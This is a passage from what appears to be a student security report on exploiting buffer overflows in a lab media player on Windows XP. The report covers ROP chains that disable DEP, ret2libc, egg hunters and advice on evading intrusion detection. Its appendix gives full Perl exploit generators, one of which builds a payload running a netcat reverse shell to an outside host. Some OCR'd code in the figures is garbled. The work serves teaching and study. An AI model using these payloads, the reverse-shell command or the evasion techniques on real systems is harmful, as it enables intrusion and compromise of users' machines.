00121014		_	_			_	_	_		_	_				_	_	



With the command address discovered, all that is left is to do is provide WinExec the arguments needed. The final proof-of-concept DEP on calculator shellcode can be seen in Figure 16 below.



Figure 16 - Playlist DEP On Proof-of-concept Calculator

2.3.2.2 Proof-of-Concept - ROP Chains

As mentioned in <u>section 1.2.2.1</u>, ROP Chains can be used to disable DEP entirely, among other things. As discussed, the process of creating a ROP Chain is rather complex; often there is only one type of working ROP chain.

As per Corelan Team's "Exploit writing tutorial part 10 - chaining dep with rop" (Corelan, 2010), VirtualAlloc, HeapCreate, SetProcessDEPPolicy, NtSetInformationProcess, VirtualProtect, and WriteProcessMemory can all be used with ROP Chains in Windows XP SP3, as can be seen in Figure 17 below.

API / OS	XP SP2	XP SP3	Vista SP0	Vista SP1	Windows 7	Windows 2003 SP1	Windows 2008
VirtualAlloc		yes	yes	yes	yes	yes	yes
HeapCreate	yes	yes	yes	yes	yes	yes	yes
SetProcessDEPPolicy	no (1)	yes	no (1)	yes	no (2)	no (1)	yes
NtSetInformationProcess	yes	yes	yes	no (2)	no (2)	yes	no (2)
VirtualProtect	yes	yes	yes	yes	yes	yes	yes
WriteProcessMemory	yes	yes	yes	yes	yes	yes	yes

Figure 17 - Useable ROP Chains

The Immunity addon -Mona- can once again be used, to create ROP chains. However, the caveat is that they are not always complete.

Before Mona can be used to generate ROP Chains, Vulnerable Media Player must be run within Immunity - libraries are not imported until application starts. The following Mona command is used to search for ROP gadgets and generate ROP Chains;

!mona rop -m msvcrt.dll -cpb '\x00\x0a\x0d'

Technically "!mona rop" would generate ROP Chains and gadgets, however, the libraries used may not be static and thus many not always work. A breakdown of the command is as follows (Corelan, 2011);

- "mona rop" generate ROP Chains and gadgets
- "-m <module>" only using these modules (can be a list and accepts wildcard)
- "-cpb" skip pointers using these bad characters
- "\x00\x0a\x0d" Null, Line Feed and Carriage Return. We ignore these characters as they cause end of execution.

	ron adapts = unescane(
	"2008072077c2" + // 0x77c20807 : .# POP EBP # RETN [msvort.dll]	
	"Xu0807Xu77c2" + // 0x77c20807 : ,# skip 4 bytes [msvort.dll]	
	"Xu61bbXu77c4" + // 0x77c461bb : ,# POP EBX # RETN [msvcrt.dll]	
	"XufffXufffY" + XX Bxffffffff : ,#	
	"AUZ/ESAU/701" + // 08/7012/ES : , # INC EBX # REIN LMSVORT.dll]	
	"WildedWirrol + // 0xrrolzes ; , + inc Ebs + Hell LMsvort.all]	
	"Xu1467Xu2cfe" + // 0x2cfe1467 : .# put delta into eax (-> put 0x00001000 into edx)	
	"Zueb80Zu77c4" + // 0x77c4eb80 : ,# ADD EAX,75C13866 # ADD EAX,5D40C033 # RETN Insvert.dll]	
	"Xu8fbcXu77c5" + // 0x77c58fbc : ,# XCHG_EAX.EDX # RETN [msvcrt.dll]	
	"Xue392Xu/764" + 77 8x7764e392 : ,# POP EAX # REIN [msvort.dll]	
	"Xu04a7Xu20fe" + // 0x20fe04a7 : , # put delta into eax (-> put 0x00000040 into ecx) "Yu04a7Xu27c4" + // 0x20fe04a + # ODD ECY 2010262 # ODD ECY ED406022 # DETN [provost dill]	
	"Xuebold TV A RATCHEDGE . , # XDHG FAX-FCLISBOB # HDD EAX,50490055 # REIN LNSOFT.0111	
	"2u3b472u77c2" + // 0x77c23b47 : .# POP EDI # RETN [msvort.dll]	
	"%u7a42%u77c4" + // 0x77c47a42 : ,# RETN (ROP NOP) [msvort.dll]	
	"Xua184Xu77c3" + // 0x77c3a184 : ,# POP ESI # RETN [msvort.dll]	
	"XuaacoXu77c2" + // Wx77c2aco : , # JMP LEHXJ [Msvort.dl]]	
	Wudebrauffor + // Baffordebr : , # FUR EAA # KEIN LMSVORT. GILLJ	
	"Z2d92Z7761" + // Ax77612df9 : .# PUSHAD # RFTN [msvort.dll]	
	"2454642477c3" + // 0877c35464 : .# ptr to 'push esp # ret ' [msvort.dl]]	
	·····); // :	
ØBADFØØD	ROP generator finished	
ØBADFØØD		
UBHDF00D	L+1 Writing stackpluots to file stackpluot.txt	
0BHUF 00U	The light process to file yop suggestions to the	
ABADEAAD	Write 512 suggestions to file	
ØBADFØØD	[+] Writing results to file rop.txt (3352 interesting gadgets)	
ØBADFØØD	Wrote 3352 interesting gadgets to file	
ØBADFØØD	[+] Writing other gadgets to file rop.txt (3315 gadgets)	
0BRUF000	Done Sals other gaugets to file	
0BADF 00D	bone	
ØBADFØØD	[+] This mona.py action took 0:00:11.096000	
Oddusse		
HOORESS	Hex dump [HSL1]	*
00460000		
0046A010	52 41 57 00 41 62 6F 75 RAW.Abou	
0046A018	74 20 56 75 6C 6E 20 6D t Vuln m	
0046A020	65 64 69 61 20 70 6C 61 edia pla	
0046A028	79 65 72 20 25 64 00 00 yer Xd.	
0046H030		
00460040		
Imona ro	n -m meyert dll -enh "YyNNYANYNd"	

Figure 18 - Generating ROP Chains with Mona

With standard shellcode the aim is to execute the code at the next memory address such as JMP ESP. As ROP Chains use ROP gadgets at dll locations, if the first command was a JMP ESP it would only try to execute the code, not the gadget, as per instruction. This would result in an access violation.

Instead, to start a ROP Chain a return pointer is used. Upon calling return, the program will jump to the location provided by the next stack frame, thus starting the ROP Chain. Each return will start the next ROP gadget. Possible initial return locations can be found using the following command:

!mona find -type instr -s "retn" -m msvcrt.dll -cpb '\x00\x0a\x0d' -x x aslr=false The breakdown of the command is as follows;

- "!mona find -type instr" look for instructions only
- "-s 'retn'" limit to results containing the string 'retn' (return)
- "-m msvcrt.dll" limit search to the msvcrt library
- "-cpb '\x00\x0a\x0d'" exclude results containing these bad characters
- "-x x" limit search to executable areas (if not then DEP still may be an issue)
- "aslr=false" limit search to areas without address space randomisation

The command used and its results can be seen in Figure 19.



Figure 19 - Searching for RETN Instruction with Mona

Using the methods discussed a basic proof-of-concept calculator payload was developed. During development it was found that the first 4 bytes of shellcode after the ROP Chain were being overwritten, but only sometimes. A's could have been added as padding but would have caused a non-useful crash occasionally. To ensure the reliability of the exploit 4 NOPS (No Operation) were used as additional padding between the shellcode and ROP Chain. The payload generated as well as the result of its execution can be seen in Figure 20 below.



Figure 20 - Playlist DEP On ROP Chain Calculator

2.3.2.3 Advanced Exploit

Use of a Netcat to produce a reverse shell is all well and good, but most users won't have Netcat installed. Using tools such as Metasploit Framework, self-contained reverse shell payloads can be created.

In MSFGUI (the GUI version of Metasploit Framework), select Payloads, then windows, under shell select "reverse_tcp". This opens the reverse TCP shell payload generation tool.

The "shikata_ga_nai" ("nothing can be done about it" - in Japanese) encoder is used along with options specific to the test environment, and then the payload is generated. *Shikata ga nai* was selected specifically because it avoids using characters that can cause crashes such as null bytes.

However, use of the MSFGUI-generated reverse shell also creates additional problems; the shellcode is 317 bytes. The available space for shellcode has not changed, it is still 280 bytes, of that 96 bytes have been used by the ROP Chain. This leaves 184 bytes for shellcode; around half what is needed for the reverse shell.

Through the use of a technique called egg hunting, the payload can be placed outside the 280-byte section of available shellcode. The egg hunter technique relies on two components; a hunter and an egg. The hunter is a short (sub 50 byte) payload that will look through memory for tagged shellcode, which will be executed on discovery. It allows large payloads to be split into smaller chunks It also allows shellcode to be run in areas otherwise unreachable. For example, beyond the null byte that marks the upper limit of the available space.

In Mona, an egg and hunter can be generated with the following command;

!mona egg -t <tag> -f <path to shellcode>

A minor issue with the egg command is that it will re-encode already encoded shellcode. This means that any quote marks, or variables in the shellcode file used will need to be removed before egg conversion can begin.

However, as Mona only places the defined tag in front of the payload to produce an 'egg' it is easier to do just that, while still using the hunter it generates specifically for the tag given. The final 'Eggshell' payload as well as the reverse TCP shell can be seen in Figure 21 below.



Figure 21 - Playlist DEP On ROP Chain Egg Hunter Reverse Shell

2.4 EXPLOITATION OF SKINS

With skins proven to have an exploitable buffer overflow, the distance to EIP calculated (484), and a ridiculous volume of space for shellcode discovered (31,512), a basic-proof-of-concept (POC) exploit was attempted.

As every skins file must have the Cool Player Skins header and an appropriate key pair the header is set first:

```
my $header = "[CoolPlayer Skin]\nPlaylistSkin=";
```

To gain control over the EIP, the distance to EIP is padded with characters. In Perl this could be done as follows:

```
my $padding = "\x41" x 484; # Pad with 484 A's
```

To start the ROP Chain (required to disable DEP - see <u>section 2.3.2.2</u>) the return (EIP) in the function being exploited (skin loader) must point to a fixed addressed return. The method used to determine the addresses that can be used is also discussed in <u>section 2.3.2.2</u>. Once a suitable address has been found, the EIP can be set;

```
my $eip = pack('V', 0x77c11110); # EIP / RETN
```

An example of the command used to generate the ROP Chain can be seen in <u>section 2.3.2.2</u>. As the exert of code detailing the construction of the ROP Chain is rather large, it (along with the rest of the payload) has also been placed in *Appendix A - Payload Files*.

Although undetectable with pattern_create and the A multiplication method, an address overwrite prevents the ROP Chain from completing as highlighted in Figure 22 below.

C:\Docume	ents and Settings\Administrator\Desktop\rop	SkinCrashGen.pl - Notepad++				
File Edit Sea	rch View Encoding Language Settings Tools	Macro Run Plugins Window ?			х	
- 12 🔁 🗐 🌘	a la la la la la 🖌 🖍 🖺 la cila 🎍	9 9 12 2 2 3 1 🗐	🔊 🔊 🗀 📀 🗌			
поръки	CrashGen.pl 🖾				1	
5	<pre>my \$padding = "\x41" x 484 ;</pre>	# Pad with 484 A's			-	
0 P		t				
	Sain = pack(!V! 0x77c11110) -	* PETN // STADT DOD CHAIN			- 33	
	<pre>\$rop := pack('V', 0x77c20807);</pre>	# POP ERP # RETN (mayort.d			- 22	_ 🗆 ×
10	<pre>\$rop .= pack('V', 0x77c20807);</pre>	# skip 4 bytes (mayort.dll	1			
11	<pre>\$rop .= pack('V', 0x77c461bb);</pre>	# POP EBX # RETN [msvcrt.d	in			sity: Consulting Services Manager
12	<pre>\$rop .= pack('V', 0xffffffff);</pre>	÷				ny, containing contracts manager
13	<pre>\$rop .= pack('V', 0x77c127e5);</pre>	# INC EBX # RETN [msvcrt.d	11)			
14	<pre>\$rop .= pack('V', 0x77c127e5);</pre>	# INC EBX # RETN [msvort.d	11]			Registers (FPU) (((((
15	<pre>\$rop .= pack('V', 0x77c34fcd);</pre>	# POP EAX # RETN [msvcrt.d	11]			ECX 70809849 kernel32.70809849
16	<pre>\$rop .= pack('V', 0x2cfe1467);</pre>	<pre># put delta into eax (-> p</pre>	ut 0x00001000	into edx)		EDX 0000001
17	<pre>\$rop .= pack('V', 0x77c4eb80);</pre>	# ADD EAX,75C13B66 # ADD E	AX,5D40C033 #	RETN [msvcrt.dll]		ESP 00128F00 ESP 77011100 (IKERNELS2.VirtualAlloc)
18	<pre>\$rop .= pack('V', 0x77c58fbc);</pre>	# XCHG EAX, EDX # RETN [ms	vert.dll]			ESI 77029800 nsvert.77029800 EDI 77047842 nsvert.77047842
19	<pre>\$rop .= pack('V', 0x77c4e392);</pre>	# POP EAX # RETN [msvcrt.d	11)			EIP 00128F00
20	<pre>\$rop .= pack('V', 0x2cfe04a7);</pre>	<pre># put delta into eax (-> p</pre>	ut 0x00000040	into ecx)		C 0 ES 0023 32bit 0(FFFFFFF)
8 21	<pre>srop .= pack('V', 0x7/C4eb80);</pre>	# ADD EAX, /SC13866 # ADD E.	AX, SD40C033 #	REIN [msvcrt.dll]		A 0 SS 0023 32bit 0(FFFFFFF)
8 22	<pre>srop .= pack('V', 0x7/disrid);</pre>	# XONG EAX, ECX # KEIN (MBV	ort.diij			S 0 FS 0058 S2bit 7FFDE000(FFF)
2.3	Stop = pack((V), 0x7/023047);	* PETN (DOD NOD) [mayorr d	111			D 0
21	Stop = pack('V', 0x77c3a184);	+ DOD EST + DETN (memore d	111			U U LASTERY ERROR_INVALUE_PARAMETER (000000057)
26	<pre>\$rop = pack('V', 0x77c2aacc);</pre>	# JMP (FAX) [mayort dill				ST0 enpty
27	<pre>Srop .= pack('V', 0x77c4debf);</pre>	# POP EAX # RETN [mayort.d	111			ST1 enpty ST2 enpty
28	<pre>\$rop .= pack('V', 0x77c1110c);</pre>	# ptr to &VirtualAlloc() (IAT mayort.dl	11		ST3 enpty ST4 enpty
29	<pre>\$rop .= pack('V', 0x77c12df9);</pre>	# PUSHAD # REIN (mayort.dl	11			STS enoty
30	<pre>\$rop .= pack('V', 0x77c354b4);</pre>	# ptr to 'push esp # ret '	[msvcrt.dll]			ST7 enpty 2.2.1.0 E.C.D.U.O.2.D.T
31						FST 2020 Cond 2 2 9 6 Err 2 6 6 6 6 6 6 6 6 6 (6T)
32	<pre>my \$nops = "\x90" x 4;</pre>	# Nops				PLO 027P PIEC HEHK, 55 Hask I I I I I I
33						
34	my Sshellcode -	# Calculator shellcode				
35	"\xdb\xc0\x31\xc9\xbf\x7c\x16\x	70\xcc\xd9\x74\x24\xf4\xb1"	A			
36	"\x1e\x58\x31\x78\x18\x83\xe8\x	fc\x03\x78\x68\xf4\x85\x30"	 • 			▼
37	"\x78\xbc\x65\xc9\x78\xb6\x23\x	f5\xf3\xb4\xae\x7d\x02\xaa"	1.00			
38	"\x3a\x32\x1c\xbf\x62\xed\x1d\x	54\xd5\x66\x29\x21\xe7\x96"	1.00			
39	"\x60\xf5\x71\xca\x06\x35\xf5\x	14\xc7\x7c\xfb\x1b\x05\x6b"	1.00			001255550 77120507 070 NS0070 77020507
40	"\XIU\X2/\Xdd\X48\XId\X22\X38\X B\xef\xde\xdf\x22\x38\X	ID \X42 \X66 \XC3 \XI / \X3D \X/4"	1.00			00128EES 00128EFC 740. 00128EEC 00000001 0
8 41	"\XCI\X4C\X4I\X23\XC3\X53\X84\X	5/\XI/\Xd8\X3D\X63\X8E\X63"	1.00			00128EF8 F4001000 .▶.¶ 00128EF4 F400040 0¶
43	"\vf5\vaa\vf1\v05\va8\v26\v00\v	34\v3h\vc0\v40\vfa\v51\v61"	1			00128EF8 77C1110C .↔u <&KERNELS2.VirtualAlloc> 00128EFC 00128F00 .₁¢.
44	"\xb6\x0e\x2f\x85\x19\x87\xb7\x	78\x2f\x59\x90\x7b\xd7\x05"	1.00			10120F04 9090900 mmm
45	"\x7f\xe8\x7b\xca":					0012EF08 90909090 dddd 0012EF01 90909090 dddd
46						0012EF10 90909090 dddd 0012EF14 90909090 dddd
47	open(SFILE, ">Sfile");	# Open file as write				98128F18 98969898 etete
48		# Write payload to file				08125F28 90909898 kirke
49	print \$FILE \$header.\$padding.\$e	ip.\$rop.\$nops.\$shellcode;			- 21	0012BF28 FFC00166 fue
50	close (SFILE) :	# Close file			. Ľ	00120F20 0H92420F A0K3 00128F30 2EC05802 00#
						A8128F38 382288FF 864
peri source file	jiength : 2,662 lines : 50 Jun : 8 (LOI:58 Sél:010	windows (CR LF)	JU1F-8 JUNS	5 //.	pmethod virtualprotect
	[23:34:18] Access vi	olation when executing [001	2BF001 - use	Shift+F7/F8/F9 to	pass	s exception to program Paused

Figure 22 - Skins Address Overwrite Prevents ROP Chain Calculator

As ROP Chains were not going to be possible, a RET2LIBC exploit utilizing WinExec was also attempted. Another issue was faced; one of the bytes which makes up the command address was being overwritten with a Null byte. As the command only existed in one location it was not possible to try any alternatives. The command address "0x0012BCC0" appeared to be split across several lines as highlighted in Figure 23 below.

cuments and Settings (Administrator (Desktop (depSkinGen.pl - Notepad++	Registers (FPU) < < < < <
Search View Encoding Language Settings Tools Macro Run Plugins Window ?	X EX FEFETETE
] G 5 6 6 X N C 2 C # 🖢 3 3 5 5 5 7 1 🕅 🖉 8	
n pl 🔀 🔚 dep Ret 2lbcGen pl 🔀 🔚 rop_chains.bt 🔀 🔚 dep SkinGen pl 🔀	ESP 0012000 EST 00000000 EST 00000000
<pre>my Sfile= "depSkinCalc.ini"; # File name</pre>	EIP 7C901240 ntdll.7C901240
# Skins header	C 0 ES 0023 32bit 0(FFFFFFF) P 1 CS 001B 32bit 0(FFFFFFF)
<pre>my \$header = "[CoolPlayer Skin]\nPlaylistSkin=";</pre>	A 0 SS 0023 32bit 0(FFFFFFF) Z 1 DS 0023 32bit 0(FFFFFFF)
Ashellende Hand (s. sele sta	S 0 FS 0098 32bit 7FFDF000(FFF) T 0 SS 0000 NULL
my sphericode = "cmd /c carc a";	0 0 LastErr EROR SUCCESS (00000000)
my Snadding = "\v41" x (484 = length(Schelloode)): # nadd	EFL 90010246 (NO, NB, E, BE, NS, PE, GE, LE)
	ST0 empty ST1 empty
<pre>\$eip = pack('V',0x7C8623AD);</pre>	C ST2 empty ST3 empty
<pre>\$stacktop = pack('V', 0x7C81CAFA); # Exit</pre>	DCESS ST4 empty ST5 empty
<pre>\$stacktop = \$stacktop. pack('V',0x0012BCC0); # CmdL:</pre>	e address ST6 empty ST7 empty
<pre>#\$stacktop = \$stacktop. pack('V', 0xFFFFFFF); # Style</pre>	(null bytes above so can't use) S 2 1 0 E S P U 0 Z D I FST 0020 Cond 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)
open(SETLE ">Sfile"):	FCU 027F Prec NEHR,53 Mask 11111
print SFILE Sheader, Sshellcode, Spadding, Seip, Sstacktop;	
close(\$FILE); # Save	close file
file length: 608 lines: 16 Ln: 13 Col: 1 Sel: 0 0	ndows (CR LF) UTF-8 INS //
Address Hex dunp ASCII	00128D10 4141414 ARRA 00128D14 414141 ARRA
	00128018 41414141 ARAA 00128010 41414141 ARAA
0045H010 52 41 57 00 41 52 5F 75 HNW.HDOU 0046A018 74 20 56 75 6C 6E 20 6D t Vuln M	0012BD20 41414141 AAAA 0012BD24 41414141 AAAA
00464022 55 54 59 51 20 70 50 51 edta pta 00464028 79 55 72 20 25 54 00 00 yer Xd.	00128028 41414141 AAAA 00128020 41414141 AAAA
00400000 00 74 74 70 00 2F 2F 01 10001771 00460000 32 37 2E 30 2E 30 2E 31 27.0.0.1	<pre>001280303 00128094 000 RETURN to kernel32.70811590 from ntdll.RtUnitString</pre>
0046A048 50 6C 61 79 65 72 5F 4C Player_L	00128D30 00128D40 000. 00128D30 00008C00 000
00400000 03 73 74 05 05 05 77 00 1storew.	00128D40 00000000
0046A068 69 65 77 00 58 79 00 00 jew.Xu	00128D49
00404070 51 22 52 22 55 00 00 00 1.2.5.1. 004608078 CC 82 46 00 D4 82 46 00 M6F.26F.	00128D50 00128D08 Y++. 00128D54 00088C6 0
0046A088 E4 R2 46 00 FC R2 46 00 105. 56.	00128050 00128594 844.
0046R098 14 R3 46 00 1C R3 46 00 NiF.LuF. 0046R090 24 R3 46 00 1C R3 46 00 NiF.LuF.	0012BD60 00000000 0012BD64 41414141 AAAA
Imona egg -t willt -f "C'iDocuments and Settings\AdministratorDeskton\BawBu	
Tanona cyy (woot i' cabocamento ana octanyoyaaminoaatorpocoktop) tawita	erseTCPShell.txt" -depmethod virtualprotect

Figure 23 - Skins Stack Overwrite Prevents WinExec Calculator

Due to time constraints, only a proof-of-concept DEP-on ROP Chain exploit for skins was attempted; with dep on it does not appear to be exploitable. However, as no errors appeared in the initial search for character alterations it may be possible to exploit skins with DEP off and the Alpha-upper character encoding.

3 Discussion

3.1 EVADING INTRUSION DETECTION SYSTEMS

There are two main types of intrusion detection system; signature based and anomaly based. The systems may be implemented either on a client, or within a network. Many intrusion detection systems offer both signature and anomaly based detection.

There are several ways in which exploits can be modified/developed to bypass intrusion detection systems. Depending on the configuration of the intrusion detection system, these techniques may or may not work; the rate of detection will vary on a case by case basis.

3.1.1 Anomaly Based

Anomaly based detection defines a baseline for network behavior. This baseline describes the accepted network behavior which is learned and/or specified by network administrators (Rom, D. 2016). Typically, the accepted behaviors will include traffic sticking to a list of known good ports and protocols. Thus, to bypass network anomaly-based detection, only common ports should be used to communicate back to the attacker - if required.

Anomaly based detection can also refer to client-side anomalies such as programs crashing often. When encoding shellcode, *Shikata ga nai* can be used to ensure no null bytes are encoded preventing shellcode crashes. The JMP ESP method discussed in <u>section 2.3.1.1</u> also assists in the prevention of shellcode crashes as it does not rely on hard coded memory address which can (but not commonly) change.

Some also perform heuristic checks; looking at what exerts of code actually do. Heuristic checks aim to identify certain behaviors as malicious. They can't (shouldn't) emulate the execution of an entire section of code until completion; that would take too long. Instead, heuristic checks analyze up to a certain point and then either flag the behavior as good or bad. By wasting many CPU cycles, such as entering a long series of loops, an intrusion detection system may be tricked into thinking that the routine is benign (Czumak, M. 2015).

3.1.2 Signature Based

Signature based detection relies on identifying previously determined or known patterns; by searching a series of bytes and comparing against a library of signatures it can deem sequences malicious.

By encoding a payload, it is immediately less likely to be detected with signature detection. Some systems will try and match signatures against common encoding methods, which can defeat some

forms of encoding. However, *Shikata ga nai* is a polymorphic encoder which means it will encode the same shellcode differently each time it is run, preventing it from being detected as easily. Even the decoder stub (used to decode the polymorphic encoding) is partially obfuscated and hardened against emulation by using FPU instructions (Rapid7, 2017).

3.2 ISSUES ENCOUNTERED

Although it was expected that the Windows XP SP3 test environment virtual machine would begin acting strangely with so many low-level exploits being tested, it was not expected to die. After several hours of exploit development, the system started acting very strange; debuggers began crashing, several GUI elements just straight up failed to load, and then it froze.



Figure 24 - System32 Corruption

Upon attempt to restart the system, a system32 error appeared signifying that an internal file has corrupted as can be seen in Figure 24 above. Despite many attempts it was unrecoverable and had to be reverted to an earlier snapshot. Some work was lost during this.

3.3 FUTURE WORK

If more time was available, the skins buffer could be tested further - to see if it could in fact be exploited with DEP off. The methods of exploit development covered within this paper are only a selection of common exploits that can be performed; it may be of interest to attempt other forms such as Nest hunter (multiple egg hunters), or write exploits from scratch in C.

4 CONCLUSION

Multiple vulnerabilities were identified with Vulnerable Media Player, one within playlists and another within skins. Although only the playlists vulnerability was found to be leverageable, in other types of application -such as a game server- the basic crash possible with skins would provide an effective denial of service attack.

At the time of writing it is not known if skins may be otherwise exploitable, further research and experimentation may provide insight. It is possible the issues in exploiting were the fault of the developer. However, given the extensive testing conducted this is unlikely.

Through research and experimentation, vulnerabilities were successfully identified, proved, and leveraged to demonstrated varying exploit complexity as outlined in the aim. As such the investigation is considered a success.

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6 APPENDIX A – PAYLOAD FILES

~=File: finalExploitFiles/AdvGen.pl=~

my \$file= "advanced.m3u";	# File name
my \$junk1 = "\x41" x 224;	# Num bytes of padding to add
my \$eip = pack('V', 0x7C86467B);	# EIP
#my \$nops = "\x90" x 3;	# NOPS

\$winExec := "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x5d"; \$winExec := "\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50"; \$winExec := "\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff"; \$winExec := "\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20";

\$MyCommand = "nc.exe 192.168.1.113 4444 -e cmd.exe &";

my \$shellcode = \$winExec . \$MyCommand;

open(\$FILE,">\$file");	# Open file name as write (create it if no exist)
print \$FILE \$junk1.\$eip.\$shellcode;	# Write padding, EIP, shellcode to file
close(\$FILE);	# Save & close file

~=File: finalExploitFiles/calcGen.pl=~

my \$file= "calc.m3u";	# File name
my \$junk1 = "\x41" x 224;	# Num bytes of padding to add
my \$eip = pack('V', 0x7C86467B);	# EIP
#my \$nops = "\x90" x 3;	# NOPS

my \$shellcode =	# Calculator shellcode
$\label{eq:constraint} $$ \x db x c 0 x 31 x c 9 x b f x 7 c x 16 x $	$x70\xcc\xd9\x74\x24\xf4\xb1$ ".
$\label{eq:constraint} $$ x1e x58 x31 x78 x18 x83 xe8 x 10 x 1$	$xfc\x03\x78\x68\xf4\x85\x30$ ".
$\label{eq:x78} xbc\x65\xc9\x78\xb6\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23$	$xf5\xf3\xb4\xae\x7d\x02\xaa"$.
$\label{eq:constraint} $$ \x3a\x32\x1c\xbf\x62\xed\x1d\x$	$x54\x05\x06\x09\x01\x07\x06"$.
$\label{eq:constraint} $$ x60\xf5\x71\xca\x06\x35\xf5\x} $$	$14\xc7\x7c\xfb\x1b\x05\x6b$ ".
$\label{eq:constraint} $$ xf0\x27\xdd\x48\xfd\x22\x38\x} $$$	$a1b\xa2\xe8\xc3\xf7\x3b\x7a$ ".
$\label{eq:lass} $$ \xcf\x4c\x4f\x23\xd3\x53\xa4\x} $$$	$57\xf7\xd8\x3b\x83\x8e\x83"$.
$\label{eq:constraint} $$ x1fx57x53x64x51xa1x33x54x51xa1x33x64x51xa1x33x64x51xa1x33x5x5x5x5x5x5x5x5x5x5x5x5x5x5x5x5x5x5$	$xcd\xf5\xc6\xf5\xc1\x7e\x98$ ".
$\xf5\xaa\xf1\x05\xa8\x26\x99\x$	3dx3bxc0xd9xfex51x61".
$\label{eq:constraint} $$\xb6\x0e\x2f\x85\x19\x87\xb7\xb7\xb7\xb7\xb7\xb7\xb7\xb7\xb7\xb$	$x78\x2f\x59\x90\x7b\xd7\x05$ ".
x7fxe8x7bxca";	

open(\$FILE,">\$file");	# Open file name as write (create it if no exist)
print \$FILE \$junk1.\$eip.\$shellcode;	# Write padding, EIP, calc shellcode to file
close(\$FILE);	# Save & close file

~=File: finalExploitFiles/depRet2libcGen.pl=~

my	\$file= "depRet2libc.m3u";	# file name
my	<pre>\$shellcode = "cmd.exe /c calc &";</pre>	# command
my	<pre>\$padding = "\x41" x (224 - length(\$shellcode));</pre>	# padding
-	seip = pack(V', 0x7c8623ad);	# WinExec
	<pre>\$stacktop = pack('V',0x7c81cafa);</pre>	ExitProcess
	<pre>\$stacktop = \$stacktop. pack('V',0x00121BE4);</pre>	# CmdLine address
	<pre>\$stacktop = \$stacktop. pack('V',0xFFFFFFFFF;);</pre>	# Style (null bytes above so can't use)

open(\$FILE,">\$file");
print \$FILE \$shellcode.\$padding.\$eip.\$stacktop;
close(\$FILE);

~=File: finalExploitFiles/depSkinGen.pl=~

my	<pre>\$file= "depSkinCalc.ini";</pre>
my	<pre>\$header = "[CoolPlayer Skin]\nPlaylistSkin=";</pre>

- my \$shellcode = "cmd /c calc &";
- my \$padding = "\x41" x (484 length(\$shellcode)); \$eip = pack('V',0x7C8623AD); \$stacktop = pack('V',0x7C81CAFA); \$stacktop = \$stacktop. pack('V',0x0012BCC0); #\$stacktop = \$stacktop. pack('V',0xFFFFFFFF;;

open(\$FILE,">\$file");
print \$FILE \$header.\$shellcode.\$padding.\$eip.\$stacktop;
close(\$FILE);

~=File: finalExploitFiles/DisToEIP.pl=~

my \$file= "distanceToEIP.m3u"; my \$junk = "\x41" x 2500; open(\$FILE,">\$file"); print \$FILE \$junk; close(\$FILE); # File name# Num bytes of padding to add# Open file name as write (create it if no exist)# Write padding to file# Save & close file

Save & close file

File name# Skins header

Command
padding
WinExec
ExitProcess
Command address
Style (null bytes above so can't use)

Save & close file

27

~=File: finalExploitFiles/m3uPattern2500.pl=~

my \$file= "m3u2500mona.m3u"; # File name

Pattern

my \$pattern =

"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9A d0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag 3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4 Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6 Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4 b1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2 h5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8 9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr 4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3C x4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D":

open(\$FILE,">\$file");
print \$FILE \$pattern;
close(\$FILE);

Open file name as write (create it if no exist)# Write pattern to file# Save & close file

~=File: finalExploitFiles/ropEggGen.pl=~

